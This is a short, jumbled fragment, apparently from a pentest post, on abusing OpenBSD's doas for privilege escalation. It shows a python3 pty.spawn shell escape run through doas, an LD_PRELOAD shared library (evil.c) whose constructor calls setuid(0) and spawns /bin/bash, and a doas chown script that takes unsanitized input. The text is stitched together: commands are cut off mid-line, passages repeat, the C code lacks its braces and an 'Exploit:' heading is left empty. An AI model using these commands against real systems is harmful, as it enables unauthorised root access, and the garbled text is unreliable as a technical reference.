doas /usr/bin/python3 -c 'import pty;pty.spawn("/bin/sh")' Many binaries allow shell escapes.
Example script:
gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script. hacktricks doas
In this post, we’ll break down how doas works, where to find it, and how to abuse it for privilege escalation during a pentest. doas was originally from OpenBSD. It allows users to execute commands as another user (usually root) with a minimal configuration file: /etc/doas.conf doas /usr/bin/python3 -c 'import pty;pty
// evil.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() setuid(0); setgid(0); system("/bin/bash"); doas /usr/bin/python3 -c 'import pty
#!/bin/sh doas /usr/bin/chown user "$1" Exploit:
